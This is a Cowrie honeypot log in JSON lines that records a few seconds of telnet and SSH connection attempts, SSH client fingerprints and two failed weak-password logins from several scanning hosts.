{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47146,"dst_ip":"10.17.0.5","dst_port":23,"session":"55c39fb08129","protocol":"telnet","message":"New connection: 213.136.75.179:47146 (10.17.0.5:23) [session: 55c39fb08129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.006651Z"}
{"eventid":"cowrie.session.closed","duration":30.75748634338379,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.052290Z","src_ip":"94.23.163.94","session":"8c60ee67347c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060824394226074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.061180Z","src_ip":"5.189.169.71","session":"14dfd5da7886","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.502416372299194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.065964Z","src_ip":"5.189.169.71","session":"cf732ef83272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":39144,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3a95a50fd9","protocol":"telnet","message":"New connection: 94.23.163.94:39144 (10.17.0.5:23) [session: 8a3a95a50fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.094346Z"}
{"eventid":"cowrie.session.closed","duration":30.419864892959595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.161572Z","src_ip":"5.189.169.71","session":"c79dac6f4472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55240535736084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.265460Z","src_ip":"5.189.169.71","session":"8aac5342b454","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840245962142944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.270170Z","src_ip":"5.189.169.71","session":"7f79188520f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35106134414673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.612266Z","src_ip":"94.23.163.94","session":"0abdbc3d3cb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36308,"dst_ip":"10.17.0.5","dst_port":22,"session":"5201ddce12ac","protocol":"ssh","message":"New connection: 176.65.139.103:36308 (10.17.0.5:22) [session: 5201ddce12ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.619366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.638255Z","src_ip":"176.65.139.103","session":"5201ddce12ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.703758Z","src_ip":"176.65.139.103","session":"5201ddce12ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47158,"dst_ip":"10.17.0.5","dst_port":23,"session":"8971610d55f1","protocol":"telnet","message":"New connection: 213.136.75.179:47158 (10.17.0.5:23) [session: 8971610d55f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.738761Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":39158,"dst_ip":"10.17.0.5","dst_port":23,"session":"4223d32b142e","protocol":"telnet","message":"New connection: 94.23.163.94:39158 (10.17.0.5:23) [session: 4223d32b142e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:03.913984Z"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:04.031693Z","src_ip":"176.65.139.103","session":"5201ddce12ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":39160,"dst_ip":"10.17.0.5","dst_port":23,"session":"c279aae2ea1e","protocol":"telnet","message":"New connection: 94.23.163.94:39160 (10.17.0.5:23) [session: c279aae2ea1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:04.275406Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":39162,"dst_ip":"10.17.0.5","dst_port":23,"session":"43149a5a21eb","protocol":"telnet","message":"New connection: 94.23.163.94:39162 (10.17.0.5:23) [session: 43149a5a21eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:04.651212Z"}
{"eventid":"cowrie.session.closed","duration":31.02676773071289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:04.864336Z","src_ip":"94.23.163.94","session":"7ad8c800e6f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89291787147522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:05.064690Z","src_ip":"5.189.169.71","session":"53c00d0a9e3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47168,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee9b91dade00","protocol":"telnet","message":"New connection: 213.136.75.179:47168 (10.17.0.5:23) [session: ee9b91dade00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:05.087162Z"}
{"eventid":"cowrie.session.closed","duration":30.3300883769989,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:05.140759Z","src_ip":"5.189.169.71","session":"89d8deea357f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:05.146652Z","src_ip":"176.65.139.103","session":"5201ddce12ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20218825340271,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:05.216827Z","src_ip":"5.189.169.71","session":"105ddbc2ed2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":59144,"dst_ip":"10.17.0.5","dst_port":23,"session":"303ebeccfaaa","protocol":"telnet","message":"New connection: 155.117.234.131:59144 (10.17.0.5:23) [session: 303ebeccfaaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:05.326787Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47178,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c872d2a2648","protocol":"telnet","message":"New connection: 213.136.75.179:47178 (10.17.0.5:23) [session: 7c872d2a2648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:05.339734Z"}
{"eventid":"cowrie.session.closed","duration":31.292155742645264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:05.748474Z","src_ip":"5.189.169.71","session":"11246978b148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47184,"dst_ip":"10.17.0.5","dst_port":23,"session":"86d656fbd05d","protocol":"telnet","message":"New connection: 213.136.75.179:47184 (10.17.0.5:23) [session: 86d656fbd05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:06.002665Z"}
{"eventid":"cowrie.session.closed","duration":30.140113353729248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:06.054615Z","src_ip":"94.23.163.94","session":"900396d55e9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":39174,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ce2f0ecd82a","protocol":"telnet","message":"New connection: 94.23.163.94:39174 (10.17.0.5:23) [session: 7ce2f0ecd82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:06.479664Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47200,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b045eda315f","protocol":"telnet","message":"New connection: 213.136.75.179:47200 (10.17.0.5:23) [session: 5b045eda315f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:06.670505Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":39184,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e8488dd9112","protocol":"telnet","message":"New connection: 94.23.163.94:39184 (10.17.0.5:23) [session: 5e8488dd9112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:06.817818Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47214,"dst_ip":"10.17.0.5","dst_port":23,"session":"91f939366c2c","protocol":"telnet","message":"New connection: 213.136.75.179:47214 (10.17.0.5:23) [session: 91f939366c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:06.839143Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":39186,"dst_ip":"10.17.0.5","dst_port":23,"session":"81305c7c70b2","protocol":"telnet","message":"New connection: 94.23.163.94:39186 (10.17.0.5:23) [session: 81305c7c70b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:06.973382Z"}
{"eventid":"cowrie.session.closed","duration":31.03229069709778,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:07.076326Z","src_ip":"94.23.163.94","session":"8c1e5c35c2fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69535231590271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:07.111152Z","src_ip":"5.189.169.71","session":"d95a707e79e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47222,"dst_ip":"10.17.0.5","dst_port":23,"session":"adb2db2dd4ff","protocol":"telnet","message":"New connection: 213.136.75.179:47222 (10.17.0.5:23) [session: adb2db2dd4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:07.322711Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":40818,"dst_ip":"10.17.0.5","dst_port":23,"session":"56cb8d0a9f77","protocol":"telnet","message":"New connection: 5.189.169.71:40818 (10.17.0.5:23) [session: 56cb8d0a9f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:07.449387Z"}
{"eventid":"cowrie.session.closed","duration":31.167468309402466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:07.577016Z","src_ip":"5.189.169.71","session":"ce38d675508b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":39196,"dst_ip":"10.17.0.5","dst_port":23,"session":"d07109adff67","protocol":"telnet","message":"New connection: 94.23.163.94:39196 (10.17.0.5:23) [session: d07109adff67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:07.979179Z"}
{"eventid":"cowrie.session.closed","duration":30.421475648880005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:08.051883Z","src_ip":"5.189.169.71","session":"3793aa126b69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63086724281311,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:08.073344Z","src_ip":"94.23.163.94","session":"b8e24590cdc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791231632232666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:08.115059Z","src_ip":"5.189.169.71","session":"7a9dbb6afcd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63027024269104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:09.097700Z","src_ip":"94.23.163.94","session":"86a966b6d5df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45856,"dst_ip":"10.17.0.5","dst_port":23,"session":"73b215105689","protocol":"telnet","message":"New connection: 5.189.169.71:45856 (10.17.0.5:23) [session: 73b215105689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:09.143438Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49220,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf85970e56be","protocol":"telnet","message":"New connection: 213.136.75.179:49220 (10.17.0.5:23) [session: bf85970e56be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:09.311368Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49230,"dst_ip":"10.17.0.5","dst_port":23,"session":"8acf21380427","protocol":"telnet","message":"New connection: 213.136.75.179:49230 (10.17.0.5:23) [session: 8acf21380427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:09.358238Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49234,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f790a5851a6","protocol":"telnet","message":"New connection: 213.136.75.179:49234 (10.17.0.5:23) [session: 7f790a5851a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:09.435019Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49244,"dst_ip":"10.17.0.5","dst_port":23,"session":"85897ee08e76","protocol":"telnet","message":"New connection: 213.136.75.179:49244 (10.17.0.5:23) [session: 85897ee08e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:09.508842Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49248,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3ab474b5a9c","protocol":"telnet","message":"New connection: 213.136.75.179:49248 (10.17.0.5:23) [session: b3ab474b5a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:09.616075Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49252,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d50c0534540","protocol":"telnet","message":"New connection: 213.136.75.179:49252 (10.17.0.5:23) [session: 8d50c0534540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:09.796385Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49258,"dst_ip":"10.17.0.5","dst_port":23,"session":"111cb3e30f9d","protocol":"telnet","message":"New connection: 213.136.75.179:49258 (10.17.0.5:23) [session: 111cb3e30f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:09.838117Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49274,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1463f75b93b","protocol":"telnet","message":"New connection: 213.136.75.179:49274 (10.17.0.5:23) [session: a1463f75b93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:09.914859Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45862,"dst_ip":"10.17.0.5","dst_port":23,"session":"d90c0fc5ba92","protocol":"telnet","message":"New connection: 5.189.169.71:45862 (10.17.0.5:23) [session: d90c0fc5ba92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:10.024661Z"}
{"eventid":"cowrie.session.closed","duration":30.982510805130005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:10.070809Z","src_ip":"5.189.169.71","session":"098de4b5f353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49284,"dst_ip":"10.17.0.5","dst_port":23,"session":"65cd6bb7aa82","protocol":"telnet","message":"New connection: 213.136.75.179:49284 (10.17.0.5:23) [session: 65cd6bb7aa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:10.256854Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":39202,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4c28a659e40","protocol":"telnet","message":"New connection: 94.23.163.94:39202 (10.17.0.5:23) [session: f4c28a659e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:10.266362Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36330,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cbdbdd3fd28","protocol":"ssh","message":"New connection: 176.65.139.103:36330 (10.17.0.5:22) [session: 1cbdbdd3fd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:10.455219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:10.467843Z","src_ip":"176.65.139.103","session":"1cbdbdd3fd28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:10.548092Z","src_ip":"176.65.139.103","session":"1cbdbdd3fd28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:10.903677Z","src_ip":"176.65.139.103","session":"1cbdbdd3fd28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45868,"dst_ip":"10.17.0.5","dst_port":23,"session":"3349c80f5fb8","protocol":"telnet","message":"New connection: 5.189.169.71:45868 (10.17.0.5:23) [session: 3349c80f5fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:11.030548Z"}
{"eventid":"cowrie.session.closed","duration":30.293455362319946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:11.068541Z","src_ip":"5.189.169.71","session":"a03fa4169a25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72971224784851,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:11.191343Z","src_ip":"5.189.169.71","session":"0c8c57c3c093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.713740587234497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:11.376015Z","src_ip":"94.23.163.94","session":"99f133dbd519","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45870,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9ee2f834e5a","protocol":"telnet","message":"New connection: 5.189.169.71:45870 (10.17.0.5:23) [session: e9ee2f834e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:11.431901Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49288,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f9ccdbd2052","protocol":"telnet","message":"New connection: 213.136.75.179:49288 (10.17.0.5:23) [session: 2f9ccdbd2052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:11.514420Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49302,"dst_ip":"10.17.0.5","dst_port":23,"session":"39e3bac3f7b9","protocol":"telnet","message":"New connection: 213.136.75.179:49302 (10.17.0.5:23) [session: 39e3bac3f7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:11.529400Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":39218,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a83c546e844","protocol":"telnet","message":"New connection: 94.23.163.94:39218 (10.17.0.5:23) [session: 9a83c546e844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:11.534984Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49310,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd09c9843a84","protocol":"telnet","message":"New connection: 213.136.75.179:49310 (10.17.0.5:23) [session: bd09c9843a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:11.805176Z"}
{"eventid":"cowrie.session.closed","duration":31.18498396873474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:11.907955Z","src_ip":"94.23.163.94","session":"8b1c48f9d68c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976806640625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:12.065210Z","src_ip":"94.23.163.94","session":"443d292d4609","protocol":"telnet"}
